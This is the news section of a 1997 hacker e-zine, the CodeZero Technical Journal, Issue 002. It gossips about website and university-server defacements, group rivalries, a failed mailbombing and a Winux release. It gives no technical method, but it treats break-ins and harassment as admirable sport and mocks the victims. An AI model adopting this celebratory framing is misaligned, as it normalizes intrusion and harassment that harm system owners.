CTFire views hacking as a very serious offense and feels
that the people responsible should be dealt with quickly and
efficently. Anyone with any information should contact Hawkee.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
altair.herts.ac.uk, the plot thickens...
----------------------------------------
Darkfool of SiN (#sin on undernet) has been doing alot hasnt he? we caught up
with him and found he knew alot about altair.herts.ac.uk, we soon found that
altair has now gone down, and that the last /etc/motd was this...
___ -_ _- ___
_--~~~#####// \\#####~~~--_
_-~##########// ( ) \\##########~-_
-############// :\^^/: \\############-
_~############// (@::@) \\############~_
~#############(( \\// ))#############~
-###############\\ (oo) //###############-
-#################\\ / "" \ //#################-
-###################\\/ \//###################-
_#/:##########/\######( /\ )######/\##########:\#_
:/ :#/\#/\#/\/ \#/\##\ : : /##/\#/ \/\#/\#/\#: \:
" :/ V V " V \#\: : : :/#/ V " V V \: "
" " " / : : : : \ " " " "
( : : : : )
__\ : : : : /__
(vvv(VVV)(VVV)vvv)
You thought ure data was safe........
DO SIN http://www.pancreas.com/SIN
Infected ? http://www.infected.com
Defvac http://www.defvac.com
Now, is it not clear to you, the humble reader, that there is a link between
the /etc/motd on altair and the www.jetpack.com and www.potatoe.com index.html
files that were uploaded by "DaFool" ? heh, well i guess he's innoncent until
proven guilty :D even if he does put EXACTLY the same urls on all his hacks...
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
PHEAR THE ELH!
--------------
The ELH *FINALLY* realised their page had been hacked, and soon found out,
through this magazine :) who did it, od^phreak of #hackteach on the undernet,
they them preceeded to show off their lameness in an attempt to mailbomb od,
this didnt work very effectively, as they didnt use remailers like anyone
with a GRAIN of sense would, and so od has their emails and isp's from which
he could mail the admin and kill their accounts, nice move Extremely Lame
Hackers, you're ereet you are! LordNemesis, Co-Founder has also quit, leaving
DeathVege (imp0ster) to lead the group. good luck to him :)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
od^phreak does it again...
--------------------------
od^phreak of infected (www.infected.com) hacked most of the www pages on
www.ilf.net AGAIN, chaos@ilf.net (admin) obviously has no clue at all, and
good 'ole od found yet another hole in chaoses k-r4d 'l33+ linux system,
the www.ilf.net page didt get changed, but the following did...
www.ilf.net/elh
www.ilf.net/-=x9=-
www.ilf.net/toast
www.ilf.net/god@rkey
lets see od^phreak hack nasa next shall we? seeing hes kinda glued to ilf.net
is linux the only OS he has any skills with? we shall see...
In the meantime, the ELH have moved to geocities, update soon.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
AWOL News.
----------
AWOL, the [A]nnihialation of [W]indoze [O]perators [L]td. Based in the UK,
Now has a 4 storey, 200 roomed building, p-150 / 32mb ram / 1.4gb / 33.6
laptop (with added biohazard sticker), 2 phone lines, and a bigger system
on the way, Member List :
Wild_fiRe - phreaker, set up all the fone lines
BoMbJaCk - general systems specialist
Tokyo_Joe - Solaris specialist
Jester - phreaker.
Grandpa - electronics expert, builds boxes etc.
Latest News : Wild_fiRe installs windoze '95 onto the laptop, which kills
the linux boot partition, fucks the bios and now the system
bios asks for a password, so the system is in a bad way.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Od^Phreak releases WINUX.
-------------------------
Winux is basically linux that can be run from windoze '95 or windoze NT, you
can download it from this site, this URL *IS* case sensitive :
http://ilf.net/hemp/demon/Winux/
Download all the files there, then follow the instructions, I think its got
potential.
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Infected Prepares for the Release of New programs.
--------------------------------------------------
In the next couple of months Infected will be releases some new cool
programs dealing with mostly encryption. These will include some PGP
programs and a program called "Utopia" by The Messiah, who is also a member
of SiN, currently Infected seem to be going through a rough patch, as certain
members have left...
infected www site : www.infected.com
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
12.News Conclusion : Tetsu Khan
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Seems alot has been going on this month, especially with wesite hacking, ELH
have proved to us again, that they are, lets just say, Extremely Lame Hackers,
maybe you would like to visit their page? http://www.ilf.net/elh/ or KRACKs
page at http://ilf.net/hemp/, i found that od^phreak and Zophar own the account
on ilf.net for hemp, i still cannot understand why KRACK is found there, seeing
it is one of the lamest groups i have seen, but anyway, until next month...
For next month, I would like to publish a list of *good* MUDS and BBS's, so
please mail suggestions to codezero@digi-gram.com
cheers,
T_K
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
³ The CodeZero Technical Journal, April 1997, Issue 002 ³±
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±
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ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Official Sponsor Of The CodeZero Technical Journal
==============> THE CrAckHouSe <===============
--------------> WWW.CRACKHOUSE.COM <---------------
--------------> IRC.CRACKHOUSE.COM <---------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
"Breathe Tha Pressure, Come Play Muh Game I'll Test Ya!"
Tetsu Khan, CodeZero.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Official CodeZero Technical Journal Distribution Site
===============> http://www.neonunix.org/codezero/ <=====================
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